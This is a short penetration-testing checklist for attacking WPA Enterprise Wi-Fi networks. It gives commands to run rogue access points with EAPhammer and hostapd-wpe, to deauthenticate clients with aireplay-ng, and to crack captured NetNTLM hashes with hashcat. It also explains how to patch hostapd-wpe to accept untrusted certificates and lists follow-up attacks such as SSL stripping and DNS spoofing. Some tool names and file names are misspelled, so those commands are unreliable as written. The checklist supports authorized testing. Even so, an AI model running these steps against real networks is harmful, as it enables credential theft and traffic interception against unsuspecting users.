Wi-Fi WPA Enterprise Basic Wireless Pentest Checklist

• If downgrade attack doesn't work, can capture the challenge hash.

EAPhammer

https://github.com/s0lst1c3/eaphammer

• Create a self signed certificate for the fake AP

eaphammer --cert-wizard

Start the rogue AP

eaphammer --interface <interface> --auth wpa-eap --essid <ESSID> --wpa-version 2

• If clients don't connect to the network, perform a deauthentication attack

sudo aireplay-ng -0 6 -a <BSSID MAC> -c <client MAC> <interface>

• If successful the output will contain the NetNTLM hash

HostAPD-wpe

https://github.com/aircrack-ng/aircrack-ng/tree/master/patches/wpe/hostapd-wpe

• Copy the hostapd-wpe.conf file
• Modify the hostape-wpe.conf file to have the correct interface, SSID and channel
• Start the rogue AP

sudo hostaped-wpe -c -k hostapd-wpe.conf

• If clients don't connect to the network, perform a deauthentication attack

sudo aireplay-ng -0 6 -a <BSSID MAC> -c <client MAC> <interface>

• If successful the output will contain the NetNTLM hash

Cracking the hash

hashcat -m 5500 -a 0 <hash> <wordlist>

EAP-TLS

• Rogue AP attack is still possible if the client does not validate the server certificate
• Victim might need to accept the certificate warning message that appears when they connect to the rogue AP
• Once a client connects you need to perform follow up attacks
  • Phishing
  • Captive portal
  • SSL Strip
  • Packet sniffing
  • DNS spoofing

Using HostAPD-WPE

• Recompile HostAPD-WPE to accept the client certificate even if it's signed by an unknown CA

cd /opt/hostapd-2.6 && patch -p1 < ../hostapd-wpe/hostapd-wpe.patch

• Edit eap_server_tls.c file and change line 80 to:

if (eap_server_tls_ssl_init(sm, &data->ssl, 0, EAP_TYPE_TLS)) {

• Recompile the tool:

 cd /opt/hostapd-2.6/hostapd &&  make

• Copy the hostapd-wpe.conf file
• Modify the hostape-wpe.conf file to have the correct interface, SSID and channel
• Start the rogue AP using the modified hostapd-wpe file

sudo hostaped-wpe -c -k hostapd-wpe.conf

• If clients don't connect to the network, perform a deauthentication attack

sudo aireplay-ng -0 6 -a <BSSID MAC> -c <client MAC> <interface>